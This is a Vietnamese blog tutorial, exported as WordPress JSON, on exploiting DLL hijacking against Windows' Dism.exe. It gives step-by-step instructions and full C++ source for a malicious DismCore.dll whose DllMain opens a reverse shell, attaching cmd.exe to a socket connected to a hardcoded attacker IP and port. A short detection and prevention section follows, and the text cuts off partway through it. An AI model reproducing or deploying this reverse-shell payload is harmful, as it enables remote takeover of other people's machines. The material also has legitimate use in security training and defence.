{"id":24,"date":"2023-09-06T13:24:48","date_gmt":"2023-09-06T13:24:48","guid":{"rendered":"https:\/\/demo.tmrwstudio.net\/atlas\/six\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/"},"modified":"2025-05-03T02:53:20","modified_gmt":"2025-05-03T02:53:20","slug":"laptops-tend-to-be-smaller-than-desktops","status":"publish","type":"post","link":"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/","title":{"rendered":"C\u00e1ch khai th\u00e1c l\u1ed7 h\u1ed5ng DLL Hijacking tr\u00ean Windows"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_73 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">M\u1ee5c l\u1ee5c thu g\u1ecdn b\u00e0i vi\u1ebft Chukhanhit Blog<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#Cach_khai_thac_lo_hong_DLL_Hijacking_tren_Windows\" title=\"C\u00e1ch khai th\u00e1c l\u1ed7 h\u1ed5ng DLL Hijacking tr\u00ean Windows\">C\u00e1ch khai th\u00e1c l\u1ed7 h\u1ed5ng DLL Hijacking tr\u00ean Windows<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#1_DLL_Hijacking_la_gi\" title=\"1. DLL Hijacking l\u00e0 g\u00ec?\">1. DLL Hijacking l\u00e0 g\u00ec?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#2_Tai_sao_Dismexe_la_muc_tieu_ly_tuong\" title=\"2. T\u1ea1i sao Dism.exe l\u00e0 m\u1ee5c ti\u00eau l\u00fd t\u01b0\u1edfng?\">2. T\u1ea1i sao Dism.exe l\u00e0 m\u1ee5c ti\u00eau l\u00fd t\u01b0\u1edfng?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#3_Huong_dan_khai_thac_lo_hong_DLL_Hijacking_voi_Process_Monitor\" title=\"3. H\u01b0\u1edbng d\u1eabn khai th\u00e1c l\u1ed7 h\u1ed5ng DLL Hijacking v\u1edbi Process Monitor\">3. H\u01b0\u1edbng d\u1eabn khai th\u00e1c l\u1ed7 h\u1ed5ng DLL Hijacking v\u1edbi Process Monitor<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#Buoc_1_Chuan_bi_moi_truong_thu_nghiem\" title=\"B\u01b0\u1edbc 1: Chu\u1ea9n b\u1ecb m\u00f4i tr\u01b0\u1eddng th\u1eed nghi\u1ec7m\">B\u01b0\u1edbc 1: Chu\u1ea9n b\u1ecb m\u00f4i tr\u01b0\u1eddng th\u1eed nghi\u1ec7m<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#Buoc_2_Theo_doi_hanh_vi_cua_Dismexe\" title=\"B\u01b0\u1edbc 2: Theo d\u00f5i h\u00e0nh vi c\u1ee7a Dism.exe\">B\u01b0\u1edbc 2: Theo d\u00f5i h\u00e0nh vi c\u1ee7a Dism.exe<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#Buoc_3_Chay_Dismexe_va_quan_sat\" title=\"B\u01b0\u1edbc 3: Ch\u1ea1y Dism.exe v\u00e0 quan s\u00e1t\">B\u01b0\u1edbc 3: Ch\u1ea1y Dism.exe v\u00e0 quan s\u00e1t<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#Buoc_4_Tao_DLL_gia_mao\" title=\"B\u01b0\u1edbc 4: T\u1ea1o DLL gi\u1ea3 m\u1ea1o\">B\u01b0\u1edbc 4: T\u1ea1o DLL gi\u1ea3 m\u1ea1o<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#Buoc_5_Kiem_tra_ket_qua\" title=\"B\u01b0\u1edbc 5: Ki\u1ec3m tra k\u1ebft qu\u1ea3\">B\u01b0\u1edbc 5: Ki\u1ec3m tra k\u1ebft qu\u1ea3<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#4_Cach_phat_hien_va_phong_chong_DLL_Hijacking\" title=\"4. C\u00e1ch ph\u00e1t hi\u1ec7n v\u00e0 ph\u00f2ng ch\u1ed1ng DLL Hijacking\">4. C\u00e1ch ph\u00e1t hi\u1ec7n v\u00e0 ph\u00f2ng ch\u1ed1ng DLL Hijacking<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#Cach_phat_hien_DLL_Hijacking\" title=\"C\u00e1ch ph\u00e1t hi\u1ec7n DLL Hijacking\">C\u00e1ch ph\u00e1t hi\u1ec7n DLL Hijacking<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#Cac_bien_phap_ngan_ngua_DLL_Hijacking\" title=\"C\u00e1c bi\u1ec7n ph\u00e1p ng\u0103n ng\u1eeba DLL Hijacking\">C\u00e1c bi\u1ec7n ph\u00e1p ng\u0103n ng\u1eeba DLL Hijacking<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/blog.chukhanhit.com\/index.php\/2023\/09\/06\/laptops-tend-to-be-smaller-than-desktops\/#Ket_luan\" title=\"K\u1ebft lu\u1eadn\">K\u1ebft lu\u1eadn<\/a><\/li><\/ul><\/nav><\/div>\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Cach_khai_thac_lo_hong_DLL_Hijacking_tren_Windows\"><\/span>C\u00e1ch khai th\u00e1c l\u1ed7 h\u1ed5ng DLL Hijacking tr\u00ean Windows<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>DLL Hijacking<\/strong> l\u00e0 m\u1ed9t k\u1ef9 thu\u1eadt t\u1ea5n c\u00f4ng ph\u1ed5 bi\u1ebfn nh\u01b0ng l\u1ea1i \u00edt \u0111\u01b0\u1ee3c ch\u00fa \u00fd trong gi\u1edbi b\u1ea3o m\u1eadt. Khi m\u1ed9t \u1ee9ng d\u1ee5ng tr\u00ean h\u1ec7 \u0111i\u1ec1u h\u00e0nh Windows t\u00ecm ki\u1ebfm v\u00e0 t\u1ea3i c\u00e1c t\u1ec7p DLL (Dynamic Link Library), k\u1ebb t\u1ea5n c\u00f4ng c\u00f3 th\u1ec3 l\u1ee3i d\u1ee5ng l\u1ed7 h\u1ed5ng n\u00e0y b\u1eb1ng c\u00e1ch thay th\u1ebf DLL h\u1ee3p l\u1ec7 b\u1eb1ng phi\u00ean b\u1ea3n \u0111\u1ed9c h\u1ea1i c\u1ee7a m\u00ecnh. H\u1ec7 \u0111i\u1ec1u h\u00e0nh s\u1ebd t\u1ea3i DLL \u0111\u1ed9c h\u1ea1i \u0111\u00f3 thay v\u00ec phi\u00ean b\u1ea3n g\u1ed1c, v\u00e0 \u0111i\u1ec1u n\u00e0y c\u00f3 th\u1ec3 d\u1eabn \u0111\u1ebfn nh\u1eefng h\u1eadu qu\u1ea3 nghi\u00eam tr\u1ecdng nh\u01b0 vi\u1ec7c chi\u1ebfm quy\u1ec1n \u0111i\u1ec1u khi\u1ec3n m\u00e1y t\u00ednh t\u1eeb xa.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"640\" height=\"318\" src=\"https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image-10.png\" alt=\"\" class=\"wp-image-211\" srcset=\"https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image-10.png 640w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image-10-300x149.png 300w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image-10-200x99.png 200w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image-10-480x239.png 480w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"1_DLL_Hijacking_la_gi\"><\/span>1. <strong>DLL Hijacking l\u00e0 g\u00ec?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">DLL Hijacking l\u00e0 m\u1ed9t k\u1ef9 thu\u1eadt khai th\u00e1c l\u1ed7 h\u1ed5ng khi m\u1ed9t ch\u01b0\u01a1ng tr\u00ecnh kh\u00f4ng ki\u1ec3m so\u00e1t ch\u1eb7t ch\u1ebd qu\u00e1 tr\u00ecnh t\u1ea3i t\u1ec7p DLL. Khi m\u1ed9t \u1ee9ng d\u1ee5ng, ch\u1eb3ng h\u1ea1n nh\u01b0 <strong>Dism.exe<\/strong> (c\u00f4ng c\u1ee5 qu\u1ea3n l\u00fd h\u1ec7 th\u1ed1ng c\u1ee7a Windows), ch\u1ea1y, n\u00f3 s\u1ebd t\u00ecm ki\u1ebfm c\u00e1c DLL c\u1ea7n thi\u1ebft trong c\u00e1c th\u01b0 m\u1ee5c theo th\u1ee9 t\u1ef1 \u01b0u ti\u00ean.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">N\u1ebfu k\u1ebb t\u1ea5n c\u00f4ng c\u00f3 th\u1ec3 \u0111\u1eb7t m\u1ed9t DLL gi\u1ea3 m\u1ea1o v\u00e0o th\u01b0 m\u1ee5c m\u00e0 ch\u01b0\u01a1ng tr\u00ecnh ki\u1ec3m tra \u0111\u1ea7u ti\u00ean (tr\u01b0\u1edbc khi t\u1edbi th\u01b0 m\u1ee5c ch\u00ednh th\u1ed1ng nh\u01b0 System32), \u1ee9ng d\u1ee5ng s\u1ebd &#8220;ng\u00e2y th\u01a1&#8221; t\u1ea3i DLL \u0111\u1ed9c h\u1ea1i thay v\u00ec DLL h\u1ee3p l\u1ec7. \u0110i\u1ec1u n\u00e0y t\u1ea1o ra m\u1ed9t c\u01a1 h\u1ed9i l\u1edbn cho c\u00e1c hacker th\u1ef1c hi\u1ec7n c\u00e1c cu\u1ed9c t\u1ea5n c\u00f4ng tinh vi m\u00e0 kh\u00f4ng b\u1ecb ph\u00e1t hi\u1ec7n ngay l\u1eadp t\u1ee9c.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"2_Tai_sao_Dismexe_la_muc_tieu_ly_tuong\"><\/span>2. <strong>T\u1ea1i sao Dism.exe l\u00e0 m\u1ee5c ti\u00eau l\u00fd t\u01b0\u1edfng?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Dism.exe<\/strong> l\u00e0 m\u1ed9t c\u00f4ng c\u1ee5 t\u00edch h\u1ee3p trong Windows, n\u1eb1m trong th\u01b0 m\u1ee5c <strong>C:\\Windows\\System32<\/strong>, v\u00e0 c\u00f3 vai tr\u00f2 quan tr\u1ecdng trong vi\u1ec7c qu\u1ea3n l\u00fd v\u00e0 b\u1ea3o tr\u00ec h\u1ec7 th\u1ed1ng. V\u00ec v\u1eady, Dism.exe l\u00e0 m\u1ee5c ti\u00eau l\u00fd t\u01b0\u1edfng cho c\u00e1c cu\u1ed9c t\u1ea5n c\u00f4ng DLL Hijacking, b\u1edfi s\u1ef1 ph\u1ed5 bi\u1ebfn c\u1ee7a n\u00f3 v\u00e0 kh\u1ea3 n\u0103ng thi\u1ebfu s\u1ef1 ki\u1ec3m so\u00e1t ch\u1eb7t ch\u1ebd trong vi\u1ec7c t\u1ea3i DLL.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"3_Huong_dan_khai_thac_lo_hong_DLL_Hijacking_voi_Process_Monitor\"><\/span>3. <strong>H\u01b0\u1edbng d\u1eabn khai th\u00e1c l\u1ed7 h\u1ed5ng DLL Hijacking v\u1edbi Process Monitor<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u1ec3 khai th\u00e1c l\u1ed7 h\u1ed5ng DLL Hijacking, ch\u00fang ta c\u00f3 th\u1ec3 s\u1eed d\u1ee5ng c\u00f4ng c\u1ee5 <strong>Process Monitor<\/strong> t\u1eeb <strong>Sysinternals<\/strong>. \u0110\u00e2y l\u00e0 m\u1ed9t c\u00f4ng c\u1ee5 m\u1ea1nh m\u1ebd gi\u00fap theo d\u00f5i c\u00e1ch h\u1ec7 th\u1ed1ng t\u01b0\u01a1ng t\u00e1c v\u1edbi c\u00e1c t\u1ec7p DLL.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Buoc_1_Chuan_bi_moi_truong_thu_nghiem\"><\/span><strong>B\u01b0\u1edbc 1: Chu\u1ea9n b\u1ecb m\u00f4i tr\u01b0\u1eddng th\u1eed nghi\u1ec7m<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li>T\u1ea3i <strong>Process Monitor<\/strong> t\u1eeb trang ch\u00ednh th\u1ee9c c\u1ee7a Sysinternals.<\/li>\n\n\n\n<li>Gi\u1ea3i n\u00e9n v\u00e0 ch\u1ea1y file <strong>Procmon.exe<\/strong>.<\/li>\n\n\n\n<li>\u0110\u1ec3 an to\u00e0n, h\u00e3y s\u1eed d\u1ee5ng m\u00f4i tr\u01b0\u1eddng \u1ea3o nh\u01b0 <strong>VirtualBox<\/strong> ho\u1eb7c <strong>VMware<\/strong> thay v\u00ec th\u1eed nghi\u1ec7m tr\u1ef1c ti\u1ebfp tr\u00ean m\u00e1y ch\u00ednh<\/li>\n<\/ol>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"600\" height=\"400\" src=\"https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092746712.png\" alt=\"moi-truong-thu-nghiem\" class=\"wp-image-212\" srcset=\"https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092746712.png 600w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092746712-300x200.png 300w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092746712-200x133.png 200w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092746712-480x320.png 480w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Buoc_2_Theo_doi_hanh_vi_cua_Dismexe\"><\/span><strong>B\u01b0\u1edbc 2: Theo d\u00f5i h\u00e0nh vi c\u1ee7a Dism.exe<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li>M\u1edf <strong>Process Monitor<\/strong>.<\/li>\n\n\n\n<li>\u0110\u1ec3 ch\u1ec9 theo d\u00f5i c\u00e1c ho\u1ea1t \u0111\u1ed9ng li\u00ean quan \u0111\u1ebfn <strong>Dism.exe<\/strong> v\u00e0 c\u00e1c t\u1ec7p DLL, b\u1ea1n c\u1ea7n thi\u1ebft l\u1eadp b\u1ed9 l\u1ecdc:\n<ul class=\"wp-block-list\">\n<li>Nh\u1ea5n <strong>Ctrl + L<\/strong> ho\u1eb7c v\u00e0o <strong>Filter > Filter<\/strong>.<\/li>\n\n\n\n<li>Th\u00eam \u0111i\u1ec1u ki\u1ec7n: <strong>Process Name \u2013 is \u2013 dism.exe \u2013 Include<\/strong> v\u00e0 <strong>Path \u2013 contains \u2013 .dll \u2013 Include<\/strong>.<\/li>\n\n\n\n<li>Nh\u1ea5n <strong>Add<\/strong> r\u1ed3i <strong>OK<\/strong>.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"600\" height=\"400\" src=\"https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092818217.png\" alt=\"\" class=\"wp-image-213\" srcset=\"https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092818217.png 600w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092818217-300x200.png 300w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092818217-200x133.png 200w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092818217-480x320.png 480w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Buoc_3_Chay_Dismexe_va_quan_sat\"><\/span><strong>B\u01b0\u1edbc 3: Ch\u1ea1y Dism.exe v\u00e0 quan s\u00e1t<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li>M\u1edf <strong>PowerShell<\/strong> v\u00e0 g\u00f5 <strong>C:\\Windows\\System32\\dism.exe<\/strong>, nh\u1ea5n <strong>Enter<\/strong>.<\/li>\n\n\n\n<li>Quay l\u1ea1i <strong>Process Monitor<\/strong>, b\u1ea1n s\u1ebd th\u1ea5y danh s\u00e1ch c\u00e1c DLL m\u00e0 <strong>Dism.exe<\/strong> c\u1ed1 g\u1eafng t\u1ea3i.<\/li>\n\n\n\n<li>N\u1ebfu k\u1ebft qu\u1ea3 hi\u1ec3n th\u1ecb <strong>&#8220;NAME NOT FOUND&#8221;<\/strong>, \u0111\u00f3 l\u00e0 d\u1ea5u hi\u1ec7u cho th\u1ea5y DLL c\u00f3 th\u1ec3 b\u1ecb khai th\u00e1c. \u0110\u00e2y l\u00e0 c\u01a1 h\u1ed9i \u0111\u1ec3 b\u1ea1n thay th\u1ebf DLL h\u1ee3p l\u1ec7 b\u1eb1ng m\u1ed9t DLL \u0111\u1ed9c h\u1ea1i.<\/li>\n<\/ol>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"600\" height=\"400\" src=\"https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092838793.png\" alt=\"chukhanhit\" class=\"wp-image-214\" srcset=\"https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092838793.png 600w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092838793-300x200.png 300w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092838793-200x133.png 200w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image_2025-05-03_092838793-480x320.png 480w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Buoc_4_Tao_DLL_gia_mao\"><\/span><strong>B\u01b0\u1edbc 4: T\u1ea1o DLL gi\u1ea3 m\u1ea1o<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"600\" height=\"400\" src=\"https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image-11.png\" alt=\"chukhanhit\" class=\"wp-image-215\" srcset=\"https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image-11.png 600w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image-11-300x200.png 300w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image-11-200x133.png 200w, https:\/\/blog.chukhanhit.com\/wp-content\/uploads\/2023\/09\/image-11-480x320.png 480w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/figure>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Sao ch\u00e9p <strong>Dism.exe<\/strong> v\u00e0o th\u01b0 m\u1ee5c <strong>%Temp%<\/strong>.<\/li>\n\n\n\n<li>T\u1ea1o m\u1ed9t DLL gi\u1ea3 m\u1ea1o nh\u01b0 <strong>DismCore.dll<\/strong> b\u1eb1ng c\u00e1ch vi\u1ebft m\u00e3 C++ v\u00e0 bi\u00ean d\u1ecbch n\u00f3 th\u00e0nh m\u1ed9t DLL \u0111\u1ed9c h\u1ea1i.<\/li>\n\n\n\n<li>\u0110\u1ec3 l\u00e0m \u0111i\u1ec1u n\u00e0y, b\u1ea1n c\u00f3 th\u1ec3 s\u1eed d\u1ee5ng m\u1ed9t payload nh\u01b0 <strong>reverse shell<\/strong> \u0111\u1ec3 l\u1ea5y quy\u1ec1n \u0111i\u1ec1u khi\u1ec3n h\u1ec7 th\u1ed1ng.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">V\u00ed d\u1ee5 m\u00e3 <strong>DismCore.cpp<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#define REVERSEIP \"193.161.193.99\"  \/\/ \u0110\u1ecba ch\u1ec9 IP c\u1ee7a m\u00e1y hacker\n#define REVERSEPORT 52543  \/\/ Port c\u1ee7a m\u00e1y hacker\n\n#include &lt;winsock2.h>\n#include &lt;stdio.h>\n\n#pragma comment(lib,\"ws2_32\")\n\nWSADATA wsaData;\nSOCKET Winsock;\nSOCKET Sock;\nstruct sockaddr_in hax;\n\nSTARTUPINFO ini_processo;\nPROCESS_INFORMATION processo_info;\n\nBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)\n{\n    WSAStartup(MAKEWORD(2,2), &amp;wsaData);\n    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);\n\n    hax.sin_family = AF_INET;\n    hax.sin_port = htons(REVERSEPORT);\n    hax.sin_addr.s_addr = inet_addr(REVERSEIP);\n\n    WSAConnect(Winsock, (SOCKADDR*)&amp;hax, sizeof(hax), NULL, NULL, NULL, NULL);\n\n    memset(&amp;ini_processo, 0, sizeof(ini_processo));\n    ini_processo.cb = sizeof(ini_processo);\n    ini_processo.dwFlags = STARTF_USESTDHANDLES;\n    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;\n\n    CreateProcess(NULL, \"cmd.exe\", NULL, NULL, TRUE, 0, NULL, NULL, &amp;ini_processo, &amp;processo_info);\n    return TRUE;\n}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Bi\u00ean d\u1ecbch m\u00e3 n\u00e0y th\u00e0nh m\u1ed9t <strong>DismCore.dll<\/strong> v\u00e0 ch\u00e9p v\u00e0o th\u01b0 m\u1ee5c <strong>%Temp%<\/strong>.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Buoc_5_Kiem_tra_ket_qua\"><\/span><strong>B\u01b0\u1edbc 5: Ki\u1ec3m tra k\u1ebft qu\u1ea3<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Ch\u1ea1y l\u1ea1i <strong>Dism.exe<\/strong> t\u1eeb th\u01b0 m\u1ee5c <strong>%Temp%<\/strong>.<\/li>\n\n\n\n<li>N\u1ebfu t\u1ea5n c\u00f4ng th\u00e0nh c\u00f4ng, m\u1ed9t k\u1ebft n\u1ed1i <strong>reverse shell<\/strong> s\u1ebd \u0111\u01b0\u1ee3c g\u1eedi \u0111\u1ebfn \u0111\u1ecba ch\u1ec9 IP v\u00e0 port \u0111\u00e3 \u0111\u1ecbnh ngh\u0129a. K\u1ebb t\u1ea5n c\u00f4ng gi\u1edd c\u00f3 th\u1ec3 \u0111i\u1ec1u khi\u1ec3n m\u00e1y t\u00ednh t\u1eeb xa.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"4_Cach_phat_hien_va_phong_chong_DLL_Hijacking\"><\/span>4. <strong>C\u00e1ch ph\u00e1t hi\u1ec7n v\u00e0 ph\u00f2ng ch\u1ed1ng DLL Hijacking<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Cach_phat_hien_DLL_Hijacking\"><\/span><strong>C\u00e1ch ph\u00e1t hi\u1ec7n DLL Hijacking<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>S\u1eed d\u1ee5ng Process Monitor<\/strong>: C\u00f4ng c\u1ee5 n\u00e0y gi\u00fap theo d\u00f5i c\u00e1c ho\u1ea1t \u0111\u1ed9ng c\u1ee7a h\u1ec7 th\u1ed1ng, t\u00ecm ki\u1ebfm c\u00e1c d\u00f2ng c\u00f3 ghi <strong>&#8220;NAME NOT FOUND&#8221;<\/strong> khi \u1ee9ng d\u1ee5ng c\u1ed1 g\u1eafng t\u1ea3i DLL t\u1eeb nh\u1eefng th\u01b0 m\u1ee5c kh\u00f4ng \u0111\u00e1ng tin c\u1eady.<\/li>\n\n\n\n<li><strong>S\u1eed d\u1ee5ng DLLSpy<\/strong>: \u0110\u00e2y l\u00e0 c\u00f4ng c\u1ee5 chuy\u00ean bi\u1ec7t gi\u00fap r\u00e0 so\u00e1t c\u00e1c ti\u1ebfn tr\u00ecnh \u0111ang ch\u1ea1y v\u00e0 ki\u1ec3m tra c\u00e1c th\u01b0 m\u1ee5c m\u00e0 \u1ee9ng d\u1ee5ng t\u00ecm ki\u1ebfm DLL. DLLSpy c\u00f3 th\u1ec3 t\u1ef1 \u0111\u1ed9ng ph\u00e1t hi\u1ec7n c\u00e1c \u1ee9ng d\u1ee5ng d\u1ec5 b\u1ecb t\u1ea5n c\u00f4ng n\u1ebfu ch\u00fang t\u00ecm DLL t\u1eeb th\u01b0 m\u1ee5c kh\u00f4ng an to\u00e0n.<\/li>\n\n\n\n<li><strong>S\u1eed d\u1ee5ng Dependency Walker<\/strong>: C\u00f4ng c\u1ee5 n\u00e0y gi\u00fap b\u1ea1n ki\u1ec3m tra c\u00e1c DLL m\u00e0 ph\u1ea7n m\u1ec1m c\u1ea7n s\u1eed d\u1ee5ng v\u00e0 ph\u00e1t hi\u1ec7n n\u1ebfu ch\u00fang \u0111\u01b0\u1ee3c t\u1ea3i t\u1eeb c\u00e1c th\u01b0 m\u1ee5c kh\u00f4ng ch\u00ednh th\u1ed1ng.<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Cac_bien_phap_ngan_ngua_DLL_Hijacking\"><\/span><strong>C\u00e1c bi\u1ec7n ph\u00e1p ng\u0103n ng\u1eeba DLL Hijacking<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Gi\u1edbi h\u1ea1n quy\u1ec1n truy c\u1eadp th\u01b0 m\u1ee5c<\/strong>: \u0110\u1ea3m b\u1ea3o r\u1eb1ng ch\u1ec9 c\u00e1c t\u00e0i kho\u1ea3n qu\u1ea3n tr\u1ecb vi\u00ean m\u1edbi c\u00f3 quy\u1ec1n ghi v\u00e0o c\u00e1c th\u01b0 m\u1ee5c quan tr\u1ecdng nh\u01b0 <strong>C:\\Windows\\System32<\/strong>.<\/li>\n\n\n\n<li><strong>\u00c1p d\u1ee5ng \u0111\u01b0\u1eddng d\u1eabn c\u1ed1 \u0111\u1ecbnh trong l\u1eadp 